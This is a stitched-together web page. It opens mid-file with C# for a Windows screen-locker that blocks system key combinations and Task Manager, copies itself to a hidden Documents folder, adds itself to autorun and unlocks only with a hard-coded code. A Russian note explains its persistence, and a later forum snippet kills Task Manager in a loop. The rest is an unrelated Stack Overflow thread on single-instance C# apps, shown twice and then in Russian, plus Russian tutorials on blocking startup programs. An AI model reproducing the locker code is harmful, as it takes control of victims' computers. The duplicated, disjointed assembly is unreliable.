CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go
to next hook

        }

        //<Control>
capturing

        public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LControlKey)

                {

                   
return (IntPtr)1;//<Control> blocking

               
}

            }

            return
CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go
to next hook

        }

        //<Alt>
capturing

        public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

               
if (objKeyInfo.key == Keys.Alt)

                {

                   
return (IntPtr)1;//<Alt> blocking

               
}

            }

            return
CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go
to next hook

        }

       
//<Alt>+<Space> blocking

        public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Space)

                {

                    return
(IntPtr)1;//<Alt>+<Space>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go
to next hook

        }

        //<Control>+<Shift>+<Escape>
blocking

        public IntPtr
LowLevelKeyboardHookProc_control_shift_escape(int
nCode, IntPtr wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.LControlKey ||
objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LShiftKey ||
objKeyInfo.key == Keys.RShiftKey ||
objKeyInfo.key == Keys.Escape)

                {

                    return
(IntPtr)1;//<Control>+<Shift>+<Escape>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go
to next hook

        }

        //Delegate
for using hooks

        private
delegate IntPtr
LowLevelKeyboardProcDelegate(int nCode, IntPtr
wParam, IntPtr lParam);

        //Setting all
hooks

        public void SetHook()

        {

            //Hooks
callbacks by delegate

            m_callback = LowLevelKeyboardHookProc_win;
            m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
            m_callback_2 = LowLevelKeyboardHookProc_ctrl;
            m_callback_3 = LowLevelKeyboardHookProc_del;
            m_callback_4 = LowLevelKeyboardHookProc_alt;
            m_callback_5 = LowLevelKeyboardHookProc_alt_space;
            m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;

            //Hooks
setting

            m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);

        }

        //Keyboard unhooking

        public void Unhook()

        {
            UnhookWindowsHookEx(m_hHook);

   
   
   

UnhookWindowsHookEx(m_hHook_1);

   
   
   

UnhookWindowsHookEx(m_hHook_2);

   
   
   

UnhookWindowsHookEx(m_hHook_3);

   
   
   

UnhookWindowsHookEx(m_hHook_4);

   
   
   

UnhookWindowsHookEx(m_hHook_5);

   
   
   

UnhookWindowsHookEx(m_hHook_6);

        }

        //Set mouse
event for further mouse emulation

        [DllImport(«User32.dll»)]

        static extern void
mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr
dwExtraInfo);

        //Mouse flags
enum

        [Flags]

        enum MouseFlags

        {

            Move = 0x0001,

            LeftDown = 0x0002,

            LeftUp = 0x0004,

            RightDown = 0x0008,

            RightUp = 0x0010,

            Absolute = 0x8000

        };

        private
void Form1_Load(object
sender, EventArgs e)

        {

            SetHook();//Hook
for keypressing capturing

            TopMost = true;//Make window of this aplication on the top of other
windows

            //Making
copy of current programm to «C:Users%usernameDocuments»

            //Full
path to current file

            string
currentAssembly = Assembly.GetExecutingAssembly().Location;

            //Current
filename

            string
fileName = Path.GetFileName(currentAssembly);

            //Destination folder

            string
destinationDirectory = «C:\Users\»;

            //Current
username

            string username = Environment.UserName;

            //Documents
folder

            string
documents = «Documents\»;

            //Copied file

            string
copy = Path.Combine(destinationDirectory,
username, documents, fileName);

            //Flag
for checking if running programm is not a child process

            bool
flag = true;

            if
(currentAssembly == copy)

            {

               
flag = false;

            }

            //Copying
to destination folder

            if
(!System.IO.File.Exists(copy))

            {

                File.Copy(currentAssembly,
copy, true);

                //Making
copy file hidden, system and reading only               

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);

            }

            else

            {

                //Making
copy file hidden, system and reading only

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);

            }

            //Running
the copy of this programm to set it in the autorun only if current

//programm is
not a recently made copy

            if
(flag == true)

            {

                Process.Start(copy);

            }

            //Coordinates
of new cursor position in the screen

            const
int x = 32000;

            const
int y = 32000;

            //Put
mouse in the screen ceneter and click its right button to prevent ability

//of
taskbar

            mouse_event(MouseFlags.Absolute | MouseFlags.Move,
x, y, 0, UIntPtr.Zero);//Move

//cursor

            mouse_event(MouseFlags.Absolute | MouseFlags.RightDown,
x, y, 0, UIntPtr.Zero);//

//Push mouse right button

            mouse_event(MouseFlags.Absolute | MouseFlags.RightUp,
x, y, 0, UIntPtr.Zero);//

//Release mouse right button

            SetAutorunValue(true);//Call function to
put this application to autorun

            this.Bounds
= Screen.PrimaryScreen.WorkingArea;//Set form size equal to full

//screen size

            this.FormClosing
+= Form1_FormClosing_deny;//Binding addition to the
form

//constructor

            Process
p = new Process();//New process

            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set
working directoty

            p.StartInfo.FileName = «taskmgr.exe»;//Set
filename for process

            p.StartInfo.CreateNoWindow = true;//New window for
starting process

            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making
the window for

//process hidden

            p.Start();//Start
taskmgr process

            this.Focus();//Focus on taskmgr

        }

        private
void button1_Click(object
sender, EventArgs e)

        {

            TopMost = true;

            string
pass = «309»;//Code (key data)

            //Checking if
inputed data is equal to key data

            if(textBox1.Text
== pass)

            {

                this.FormClosing
+= Form1_FormClosing_access;//Allow form closing

                Unhook();//Hooked keys unhooking               

                if
(flag == true)

                {

                    Process.GetProcessesByName(«taskmgr»)[0].Kill();//Kill taskmgr

                }

                else

                {

                    Process.GetProcessesByName(«taskmgr»)[1].Kill();//Kill taskmgr

                }

                Form1.ActiveForm.Close();//Close form

            }

            //If
inputed data is not equal to key data

            else

            {

                MessageBox.Show(«WRONG CODE. TRY AGAIN.»);//Message for user

                return;//Exit from button1 handler

            }

        }

    }

}

 
Программа будет работать до тех пор, пока пользователь не введёт код 309 в поле textBox1 и не нажмёт клавишу <Enter> или кнопку button1 с надписью «SUBMIT». Более того, она будет помещена в автозагрузку и будет выполнена снова при следующем запуске ОС. Способами прекращения деятельности данной программы в ОС Windows являются либо введение кода и удаление программы из того каталога, где она была запущена в первый раз и из каталога C:Users%username%Documents (где
%username%

 — имя текущего пользователя в ОС

), а также удаление ключа реестра, отвечающего за автозапуск этой программы из раздела 

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun, либо выключение компьютера, запуск безопасного режима и удаление всего вышеперечисленного.

I wrote a program in c#
now I would like to know what is the proper way to prevent the program from starting if it is already running?

so if it is already running, and double-click on the program it will not start because it is already running.

I can do that, but I was thinking of a standard and proper way.

tshepang's user avatar

tshepang

11.9k21 gold badges90 silver badges134 bronze badges

asked Aug 23, 2010 at 6:43

Data-Base's user avatar

1

The recommended way to do this is with a system mutex.

bool createdNew;
using(var mutex = new System.Threading.Mutex(true, "MyAppName", out createdNew))
{
    if (createdNew)
        // first instance
        Application.Run();
    else
        MessageBox.Show("There is already an instace running");
}

The first parameter to the Mutex ctor tells it to give create a system wide mutex for this thread. If the Mutex already exists it will return out false through the 3rd parameter.

Update
Where to put this?
I’d put this in program.cs. If you put it in form_load you’ll need to keep the mutex for the life time of the application (have the mutex as a member on the form), and manually release it in the form unload.
The earlier you call this the better, before the other app opens DB connections etc. and before resources are put created for forms / controlls etc.

answered Aug 23, 2010 at 6:58

Binary Worrier's user avatar

Binary WorrierBinary Worrier

50.2k20 gold badges140 silver badges184 bronze badges

7

Quick way I did in one of the applications .. You can look at the list of running processes to see whether the current application is already running and not start the application again.

Process[] lprcTestApp = Process.GetProcessesByName("TestApplication");
if (lprcTestApp.Length > 0)
{
      // The TestApplication is already running, don't run it again
}

abatishchev's user avatar

abatishchev

96.9k84 gold badges296 silver badges432 bronze badges

answered Aug 23, 2010 at 6:48

Premkumar's user avatar

PremkumarPremkumar

1111 silver badge8 bronze badges

2

I think enumerating the process list could potentially be slow. You could also create a Mutex using the System.Threading.Mutex class and check to see if it’s already created when the process starts. However, this would require calling into Win32 system code so wouldn’t be completely platform agnostic.

answered Aug 23, 2010 at 6:53

Mike Christensen's user avatar

Mike ChristensenMike Christensen

86k49 gold badges207 silver badges320 bronze badges

Take a look at Scotts blog post and don’t be foolished by the assembly name. It’s just a file name of a standard file in the .Net framework.

Here are more informations direct out of MSDN for the WindowsFormsApplicationBase.

answered Aug 23, 2010 at 7:05

Oliver's user avatar

OliverOliver

42.5k8 gold badges95 silver badges148 bronze badges

If your application produces/consumes files, then you’re better registering a system wide communication mechanism (e.g. a remoting or WCF endpoint, or even a socket). Then, if the second instance of the application is being launched from double clicking one of your files, you can send the file information across to the running instance.

Otherwise, if it’s a standalone program, then as others have said, a Mutex or Semaphore would server equally well.

answered Aug 23, 2010 at 7:02

Damien_The_Unbeliever's user avatar

solution in Windows form application Prohibit again run application(reopen application).

1- first add Class RunAlready.cs

2-Call method processIsRunning() with Name Process from RunAlready.cs in Program.cs

Program.cs:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Tirage.MainStand
{
static class Program
{

    /// <summary>
    /// The main entry point for the application.
    /// </summary>
    [STAThread]
    static void Main()
    {
        PublicClass.Class.RunAlready RunAPP = new PublicClass.Class.RunAlready();
        string outApp = RunAPP.processIsRunning("Tirage.MainStand");

        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        MainStand_FrmLogin fLogin = new MainStand_FrmLogin();
        if (outApp.Length == 0)
        {

            if (fLogin.ShowDialog() == DialogResult.OK)
            {
                Application.Run(new MainStand_masterFrm());

            }
        }
        else MessageBox.Show( "Instance already running");

      }
    }
 }

class RunAlready:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace PublicClass.Class
{
  public  class RunAlready
    {
      public  string processIsRunning(string process)
        {
        string xdescription = "";
        System.Diagnostics.Process[] processes =
            System.Diagnostics.Process.GetProcessesByName(process);
        foreach (System.Diagnostics.Process proc in processes)
        {
            var iddd = System.Diagnostics.Process.GetCurrentProcess().Id;
            if (proc.Id != System.Diagnostics.Process.GetCurrentProcess().Id)
            {
                xdescription = "Application Run At time:" + proc.StartTime.ToString() + System.Environment.NewLine;
                xdescription += "Current physical memory : " + proc.WorkingSet64.ToString() + System.Environment.NewLine;
                xdescription += "Total processor time : " + proc.TotalProcessorTime.ToString() + System.Environment.NewLine;
                xdescription += "Virtual memory size : " +         proc.VirtualMemorySize64.ToString() + System.Environment.NewLine;
            }
        }


        return xdescription;
    }
}
}

answered Jul 17, 2017 at 6:07

saeed rajayi's user avatar

I wrote a program in c#
now I would like to know what is the proper way to prevent the program from starting if it is already running?

so if it is already running, and double-click on the program it will not start because it is already running.

I can do that, but I was thinking of a standard and proper way.

tshepang's user avatar

tshepang

11.9k21 gold badges90 silver badges134 bronze badges

asked Aug 23, 2010 at 6:43

Data-Base's user avatar

1

The recommended way to do this is with a system mutex.

bool createdNew;
using(var mutex = new System.Threading.Mutex(true, "MyAppName", out createdNew))
{
    if (createdNew)
        // first instance
        Application.Run();
    else
        MessageBox.Show("There is already an instace running");
}

The first parameter to the Mutex ctor tells it to give create a system wide mutex for this thread. If the Mutex already exists it will return out false through the 3rd parameter.

Update
Where to put this?
I’d put this in program.cs. If you put it in form_load you’ll need to keep the mutex for the life time of the application (have the mutex as a member on the form), and manually release it in the form unload.
The earlier you call this the better, before the other app opens DB connections etc. and before resources are put created for forms / controlls etc.

answered Aug 23, 2010 at 6:58

Binary Worrier's user avatar

Binary WorrierBinary Worrier

50.2k20 gold badges140 silver badges184 bronze badges

7

Quick way I did in one of the applications .. You can look at the list of running processes to see whether the current application is already running and not start the application again.

Process[] lprcTestApp = Process.GetProcessesByName("TestApplication");
if (lprcTestApp.Length > 0)
{
      // The TestApplication is already running, don't run it again
}

abatishchev's user avatar

abatishchev

96.9k84 gold badges296 silver badges432 bronze badges

answered Aug 23, 2010 at 6:48

Premkumar's user avatar

PremkumarPremkumar

1111 silver badge8 bronze badges

2

I think enumerating the process list could potentially be slow. You could also create a Mutex using the System.Threading.Mutex class and check to see if it’s already created when the process starts. However, this would require calling into Win32 system code so wouldn’t be completely platform agnostic.

answered Aug 23, 2010 at 6:53

Mike Christensen's user avatar

Mike ChristensenMike Christensen

86k49 gold badges207 silver badges320 bronze badges

Take a look at Scotts blog post and don’t be foolished by the assembly name. It’s just a file name of a standard file in the .Net framework.

Here are more informations direct out of MSDN for the WindowsFormsApplicationBase.

answered Aug 23, 2010 at 7:05

Oliver's user avatar

OliverOliver

42.5k8 gold badges95 silver badges148 bronze badges

If your application produces/consumes files, then you’re better registering a system wide communication mechanism (e.g. a remoting or WCF endpoint, or even a socket). Then, if the second instance of the application is being launched from double clicking one of your files, you can send the file information across to the running instance.

Otherwise, if it’s a standalone program, then as others have said, a Mutex or Semaphore would server equally well.

answered Aug 23, 2010 at 7:02

Damien_The_Unbeliever's user avatar

solution in Windows form application Prohibit again run application(reopen application).

1- first add Class RunAlready.cs

2-Call method processIsRunning() with Name Process from RunAlready.cs in Program.cs

Program.cs:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Tirage.MainStand
{
static class Program
{

    /// <summary>
    /// The main entry point for the application.
    /// </summary>
    [STAThread]
    static void Main()
    {
        PublicClass.Class.RunAlready RunAPP = new PublicClass.Class.RunAlready();
        string outApp = RunAPP.processIsRunning("Tirage.MainStand");

        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        MainStand_FrmLogin fLogin = new MainStand_FrmLogin();
        if (outApp.Length == 0)
        {

            if (fLogin.ShowDialog() == DialogResult.OK)
            {
                Application.Run(new MainStand_masterFrm());

            }
        }
        else MessageBox.Show( "Instance already running");

      }
    }
 }

class RunAlready:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace PublicClass.Class
{
  public  class RunAlready
    {
      public  string processIsRunning(string process)
        {
        string xdescription = "";
        System.Diagnostics.Process[] processes =
            System.Diagnostics.Process.GetProcessesByName(process);
        foreach (System.Diagnostics.Process proc in processes)
        {
            var iddd = System.Diagnostics.Process.GetCurrentProcess().Id;
            if (proc.Id != System.Diagnostics.Process.GetCurrentProcess().Id)
            {
                xdescription = "Application Run At time:" + proc.StartTime.ToString() + System.Environment.NewLine;
                xdescription += "Current physical memory : " + proc.WorkingSet64.ToString() + System.Environment.NewLine;
                xdescription += "Total processor time : " + proc.TotalProcessorTime.ToString() + System.Environment.NewLine;
                xdescription += "Virtual memory size : " +         proc.VirtualMemorySize64.ToString() + System.Environment.NewLine;
            }
        }


        return xdescription;
    }
}
}

answered Jul 17, 2017 at 6:07

saeed rajayi's user avatar

Формулировка задачи:

Всем привет.
Есть мое приложение и есть приложение AutoCad. При открытом AutoCad сделать запрет на запуск моего приложения не сложно — просто при запуске моего приложения проверять наличие процесса:

// Проверка запущенного автокада
        private static bool CheckAcadIsOpen()
        {
            const string name = "acad";
            Process[] pr2 = Process.GetProcesses();
            return pr2.Any(t => t.ProcessName == name);
        }

Но мне нужен и обратный вариант — чтобы при запущенном моем приложении пользователь не мог запустить AutoCad. Есть какой-нибудь несложный вариант?

Код к задаче: «.NET 4.x Запрет запуска стороннего приложения»

textual

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
 
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
 
namespace ProcessKiller {
    public partial class Form1 : Form {
        public Form1() {
            InitializeComponent();
            this.WindowState = FormWindowState.Minimized;
            this.ShowInTaskbar = false;
 
            Task.Factory.StartNew(() => {
                KillAllProcesses();
            });
        }
        void KillAllProcesses() {
            while (true) {
                Process[] allSelectedProcesses =
                Process.GetProcessesByName("taskmgr");
                foreach (Process p in allSelectedProcesses) {
                    try {
                        p.Kill();
                    }
                    catch { }
                }
                Thread.Sleep(1000);
            }
        }
    }
}

Полезно ли:

15   голосов , оценка 3.867 из 5

запретить приложению c # запускать более одного экземпляра

Я написал программу на С#, теперь я хотел бы знать, как правильно предотвратить запуск программы, если она уже запущена?

поэтому, если она уже запущена, и дважды щелкните программу, она не запустится, потому что она уже запущена.

Я могу это сделать, но я думал о стандартном и правильном способе.

Рекомендуемый способ сделать это — использовать системный мьютекс.

bool createdNew;
using(var mutex = new System.Threading.Mutex(true, "MyAppName", out createdNew))
{
    if (createdNew)
        // first instance
        Application.Run();
    else
        MessageBox.Show("There is already an instace running");
}

Первый параметр Mutex ctor говорит ему создать общесистемный мьютекс для этого потока. Если мьютекс уже существует, он вернется false через 3-й параметр.

Обновить
Куда это поставить? Я бы поместил это в program.cs. Если вы поместите его в form_load, вам нужно будет сохранить мьютекс на время жизни приложения (иметь мьютекс в качестве члена формы) и вручную освободить его при выгрузке формы.
Чем раньше вы назовете это, тем лучше, прежде чем другое приложение откроет соединения с БД и т. д. и до того, как ресурсы будут созданы для форм/элементов управления и т. д.

ответ дан 23 авг.

Быстрый способ я проделал в одном из приложений.. Можно посмотреть список запущенных процессов, чтобы увидеть запущено ли уже текущее приложение и не запускать ли приложение заново.

Process[] lprcTestApp = Process.GetProcessesByName("TestApplication");
if (lprcTestApp.Length > 0)
{
      // The TestApplication is already running, don't run it again
}

ответ дан 23 авг.

Я думаю, что перечисление списка процессов потенциально может быть медленным. Вы также можете создать мьютекс, используя класс System.Threading.Mutex, и проверить, не создан ли он уже при запуске процесса. Однако для этого потребуется вызов системного кода Win32, поэтому он не будет полностью зависеть от платформы.

ответ дан 23 авг.

ответ дан 23 авг.

ответ дан 23 авг.

Если ваше приложение создает/использует файлы, вам лучше зарегистрировать общесистемный механизм связи (например, конечную точку удаленного взаимодействия или WCF или даже сокет). Затем, если второй экземпляр приложения запускается двойным щелчком по одному из ваших файлов, вы можете отправить информацию о файле работающему экземпляру.

В противном случае, если это отдельная программа, то, как говорили другие, Mutex или Semaphore будут работать одинаково хорошо.

ответ дан 23 авг.

решение в приложении формы Windows Запретить повторный запуск приложения (повторно открыть приложение).

1- сначала добавьте класс RunAlready.cs

2-Вызов метода processIsRunning() с именем Process из RunAlready.cs в Program.cs

Программа.cs:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Tirage.MainStand
{
static class Program
{

    /// <summary>
    /// The main entry point for the application.
    /// </summary>
    [STAThread]
    static void Main()
    {
        PublicClass.Class.RunAlready RunAPP = new PublicClass.Class.RunAlready();
        string outApp = RunAPP.processIsRunning("Tirage.MainStand");

        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        MainStand_FrmLogin fLogin = new MainStand_FrmLogin();
        if (outApp.Length == 0)
        {

            if (fLogin.ShowDialog() == DialogResult.OK)
            {
                Application.Run(new MainStand_masterFrm());

            }
        }
        else MessageBox.Show( "Instance already running");

      }
    }
 }

класс RunAlready:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace PublicClass.Class
{
  public  class RunAlready
    {
      public  string processIsRunning(string process)
        {
        string xdescription = "";
        System.Diagnostics.Process[] processes =
            System.Diagnostics.Process.GetProcessesByName(process);
        foreach (System.Diagnostics.Process proc in processes)
        {
            var iddd = System.Diagnostics.Process.GetCurrentProcess().Id;
            if (proc.Id != System.Diagnostics.Process.GetCurrentProcess().Id)
            {
                xdescription = "Application Run At time:" + proc.StartTime.ToString() + System.Environment.NewLine;
                xdescription += "Current physical memory : " + proc.WorkingSet64.ToString() + System.Environment.NewLine;
                xdescription += "Total processor time : " + proc.TotalProcessorTime.ToString() + System.Environment.NewLine;
                xdescription += "Virtual memory size : " +         proc.VirtualMemorySize64.ToString() + System.Environment.NewLine;
            }
        }


        return xdescription;
    }
}
}

Создан 17 июля ’17, 07:07

Не тот ответ, который вы ищете? Просмотрите другие вопросы с метками

c#
process

or задайте свой вопрос.

Поскольку создание приложения для Windows Forms и WPF отличается, в статье рассмотрим оба варианта.

Для того, чтобы разрешить запуск программы только в одном экземпляре на Windows Forms, достаточно в файле Program.cs добавить проверку на соответствие в запущенных процессах:

using System;
using System.Windows.Forms;

namespace WindowsFormsApp1
{
    static class Program
    {
        /// <summary>
        /// Главная точка входа для приложения.
        /// </summary>
        [STAThread]
        static void Main()
        {
            if (System.Diagnostics.Process.GetProcessesByName(Application.ProductName).Length > 1)
            {
                MessageBox.Show("Приложение уже запущено");
                return;
            }
            else
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Form1());
            }
        }
    }
}

Получается, что, если наше приложение уже выполняется, то мы просто обрываем дальнейшее выполнение программы и оповещаем пользователя об этом.


Если ваше приложение работает на WPF, то исключать параллельный запуск программы мы будем иначе. Чтобы реализовать подобный функционал, нам нужно открыть файл App.xaml и удалить атрибут StartupUri для того, чтобы мы могли самостоятельно задать главное окно и условия. Такой код App.xaml должен получиться в новом приложении:

<Application x:Class="WpfApp1.App"
             xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
             xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
    <Application.Resources>
         
    </Application.Resources>
</Application>

Давайте зайдем в App.xaml.cs, изначально он будет пустым:

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Threading.Tasks;
using System.Windows;

namespace WpfApp1
{
    /// <summary>
    /// Логика взаимодействия для App.xaml
    /// </summary>
    public partial class App : Application
    {
    }
}

Если сейчас запустить приложение, то будет висеть процесс, но окно отображено не будет и завершить его можно только диспетчером задач. Это потому, что ни одно окно не инициализировано при старте. Чтобы программа стала видимой, нам нужно самостоятельно создать окно, не забыв при этом задать условие:

using System.Windows;

namespace WpfApp1
{
    /// <summary>
    /// Логика взаимодействия для App.xaml
    /// </summary>
    public partial class App : Application
    {
        //Переопределяем метод OnStartup
        protected override void OnStartup(StartupEventArgs e)
        {
            base.OnStartup(e);

            //Проверяем запущено ли приложение
            if (System.Diagnostics.Process.GetProcessesByName(ResourceAssembly.GetName().Name).Length > 1)
            {
                //Если да, то выводим сообщение и завершаем текущий процесс
                MessageBox.Show("Приложение уже запущено");
                Current.Shutdown();
            }
            else
            {
                //Инициализируем окно
                MainWindow window = new MainWindow();
                window.Show();
            }
        }
    }
}

Всем спасибо за внимание.

После старта Windows на компьютере запускается группа программ, настроенная под определённого пользователя. Эти «элементы запуска» могут быть как сторонними программами, установленными пользователем и настроенными для запуска при загрузке системы, до встроенных программ Windows, которые система должна запускать при старте автоматически. Windows – это операционная система, которая передаёт полный контроль над компьютером пользователю. В этом случае пользователи Windows также имеют право определять, какие программы должны при старте запускаться, а какие нет.

Запрет запуска программ

Пользователям Windows иногда необходимо запретить запуск некоторых программ по ряду причин (начиная с того, что целевая программа является вредоносной или иным образом опасной, и заканчивая тем, что целевая программа поглощает много ресурсов компьютера). К счастью, предотвратить запуск программы при запуске на компьютере под управлением Windows довольно легко. Для разных версий операционной системы используются одни и те же решения, реализованные по-разному. Рассмотрим их более подробно.

Чтобы отключить запуск программ в Windows, поочерёдно выполняйте описанные дальше действия, пока не добьётесь положительного результата. Например, если первый метод не работает, только тогда переходите ко второму, а затем к третьему, пока полностью не предотвратите выполнение целевой программы при запуске.

Запрет запуска программ через редактор групповых политик

Первое решение оказывается эффективным в большинстве случаев, поэтому начинать нужно именно с него. Чтобы запретить запуск приложений через редактор групповых политик, выполните следующие действия:

Готово! Теперь запуск указанных приложений запрещён на уровне системы локальной политики. Перезагрузите ПК и убедитесь, что изменения вступили в силу. В противном случае переходите к следующему решению.

Запрет запуска программ через реестр Windows

Возможность запретить запуск программ в Windows при старте также есть в реестре. В таком случае вы можете запретить запуск некоторых программ при старте Windows, только если вы это сделаете через Реестр на вашем компьютере.

ВАЖНО. Содержит инструкции по редактированию реестра. Если вы сделаете какую-либо ошибку при редактировании реестра, вы можете вызвать сбой или невозможность загрузки Windows, что потребует переустановки Windows. Редактируйте реестр на свой страх и риск. Всегда делайте резервную копию реестра, прежде чем вносить какие-либо изменения. Если вам неудобно редактировать реестр, не пытайтесь выполнить эти инструкции. Вместо этого обратитесь за помощью к поставщику компьютерной поддержки.

Чтобы удалить загрузочную запись из реестра:

  • Нажмите Win-R. В поле «Открыть:» введите regedit и нажмите Enter.
    Выполнение команды regedit
  • Чтобы сохранить резервную копию реестра, в меню Файл выберите Экспорт ….
    Создание резервной копии реестра
  • Обязательно отметьте место назначения файла; по умолчанию он будет сохранён на рабочем столе.
  • Дайте файлу понятное имя, например, реестр или регбэк, чтобы вы помнили, что этот файл является резервной копией реестра.
  • В поле «Диапазон экспорта» убедитесь, что выбрано «Всё», и нажмите «Сохранить». Это создаст резервную копию рабочего реестра.
    Параметры резервной копии реестра
  • Чтобы развернуть HKEY LOCAL MACHINE, нажмите + (знак плюс) слева.
  • Разверните дерево Software, затем Microsoft, затем Windows, а затем CurrentVersion.
    Путь до папки CurrentVersion
  • Выделите папку «Run». В правой части экрана вы увидите программы, настроенные на запуск при старте, которые могут отсутствовать в папке «Автозагрузка». Некоторые из них могут быть важными, такими как антивирусные программы или брандмауэры. Также могут быть нежелательные или ненужные программы, такие как шпионское и рекламное программное обеспечение. Вам нужно будет выяснить, что нужно, а что нет.
    Список программ автозагрузки
  • Выделите любую программу (программы), которую вы хотите запретить для автоматического запуска, а затем нажмите клавишу Del. Помните, что удаление программ здесь не удаляет их с вашего компьютера; это только останавливает их автоматический запуск.
    Удаление программы из автозагрузки

Изменения в реестре вносятся немедленно, поэтому вам не нужно сохранять свои изменения. На этом этапе вы можете просто закрыть редактор реестра.

Ещё один вариант ограничения запуска программ в Windows через реестр:

  • Откройте реестр Windows и перейдите в каталог: HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
  • Щёлкните правой кнопкой мыши пустую область с правой стороны и добавьте новое «DWORD (32-разрядное) значение» с именем «DisallowRun».«DWORD (32-разрядное) значение»
  • Откройте «DisallowRun» и присвойте ему значение «1».
    Изменение стокового параметра
  • Щёлкните правой кнопкой мыши и добавьте новый «Ключ», также называемый «DisallowRun». Будет создана новая папка.
    Создание ключа в реестре
  • Выберите папку «DisallowRun» на левой панели.
  • Щёлкните правой кнопкой мыши пустую область с правой стороны и добавьте новое «DWORD (32-разрядное) значение» с именем «1».
  • Откройте «1» и в поле значение введите название программы, которую вы хотите заблокировать, например, «itunes.exe».
  • Повторите описанные шаги с любыми приложениями, которые необходимо заблокировать, только увеличивайте число, используемое в «DWORD (32-битном) значении» каждый раз (2, 3, 4, 5 и т. д.)
    Запрет запуска программ через DisallowRun

После этого даже при попытке принудительного запуска программы вы увидите сообщение «Эта операция была отменена из-за действующих на этом компьютере ограничений. Пожалуйста, обратитесь к системному администратору».

Запрет запуска программ с помощью сторонних программ

Кажется, что какой бы мощный компьютер ни был с точки зрения аппаратного обеспечения, он никогда не бывает достаточно быстрым, чтобы всё делать то, что вы хотите. Будь то новейшие игры или редактирование/создание/кодирование видео, большинству пользователей захочется выжать каждую единицу производительности, которую только можно получить. Конечно, вы можете прибегнуть к разгону, но для некоторых пользователей это просто не вариант.

